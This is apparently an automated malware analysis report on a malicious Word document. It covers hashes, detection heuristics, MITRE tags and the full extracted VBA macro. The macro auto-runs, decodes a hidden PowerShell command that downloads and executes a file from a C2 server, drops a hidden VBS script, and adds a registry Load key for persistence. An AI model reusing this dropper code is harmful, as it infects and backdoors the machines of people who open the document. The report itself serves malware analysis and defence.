Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1cce2e826b3c2e6…

MALICIOUS

Office (OLE)

33.0 KB Created: 2018-05-04 07:03:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 01e2e3489568c9d07216b351faff5bdc SHA-1: 6e6407b0843d176b3133243ed564032e87bddde8 SHA-256: f1cce2e826b3c2e6d7f0d03cfd2bd01faf925df8116e9d873bbc3cf62dc5c18c
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1036 Masquerading

The sample contains an AutoOpen VBA macro that uses WScript.Shell to execute a deobfuscated PowerShell command. This command downloads a file named 'Sc!nn@rDr#v@r.@x@' from the URL http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180504030337 and saves it as 'C:\Users\Public\config.txt', then executes it. This indicates a downloader functionality.

Heuristics 11

  • ClamAV: Doc.Downloader.Powload-6719449-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6719449-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            strComputer = "."
            Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          a.WriteLine ("Dim objShell")
          a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
          a.WriteLine (dstr)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      URL = "http://www.google.com"
      Set IE = CreateObject("Internetexplorer.Application")
      IE.Visible = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      URL = "http://www.google.com"
      Set IE = CreateObject("Internetexplorer.Application")
      IE.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
      CheckInternet
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180504030337 In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://www.google.comIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2549 bytes
SHA-256: d147392928ff2695ab6b586e2199060ac871282d3326b373129d92553ff10b7d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
  CheckInternet
End Sub

Public Function Deobf(ObfString As String) As String
 Deobf = Replace(ObfString, "!", "a")
 Deobf = Replace(Deobf, "@", "e")
 Deobf = Replace(Deobf, "#", "i")
 Deobf = Replace(Deobf, "&", "o")
 Deobf = Replace(Deobf, "%", "u")
End Function

Public Function CheckInternet() As Variant
  Dim URL As String
  Dim IE As Object
  Dim html_title As String
  URL = "http://www.google.com"
  Set IE = CreateObject("Internetexplorer.Application")
  IE.Visible = False
  IE.Navigate URL
  Do
  Loop While IE.Busy
  html_title = IE.Document.Title
  If InStr(html_title, "Google") Then
      Persist
      Reg
      Start
  Else
      MsgBox "Fail"
  End If
  IE.Quit
  Set IE = Nothing
End Function

Public Function Persist() As Variant
 Dim nstr As String
 nstr = "c&mm!nd = ""C:\WINDOWS\syst@m32\W#nd&wsP&w@rSh@ll\v1.0\p&w@rsh@ll.@x@ -@p Byp!ss -W#nd&wStyl@ H#dd@n -n&p -n&@x#t -c IEX ((N@w-Obj@ct N@t.W@bCl#@nt).D&wnl&!dF#l@('http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20180504030337','Sc!nn@rDr#v@r.@x@'));St!rt-Pr&c@ss 'Sc!nn@rDr#v@r.@x@'"""
 Dim dstr As String
 dstr = Deobf(nstr)
 Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists("C:\Users\Public\config.txt") Then
      Set a = fs.CreateTextFile("C:\Users\Public\config.txt", True)
      a.WriteLine ("Dim objShell")
      a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
      a.WriteLine (dstr)
      a.WriteLine ("objShell.Run command,0")
      a.WriteLine ("Set objShell = Nothing")
      a.Close
      GivenLocation = "C:\Users\Public\"
      OldFileName = "config.txt"
      NewFileName = "config.vbs"
      Name GivenLocation & OldFileName As GivenLocation & NewFileName
      SetAttr "C:\Users\Public\config.vbs", vbHidden
    End If
End Function

Public Function Reg() As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load", "C:\Users\Public\config.vbs", "REG_SZ"
Set WshShell = Nothing

End Function

Public Function Start() As Variant
 Const HIDDEN_WINDOW = 0
        strComputer = "."
        Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
      
End Function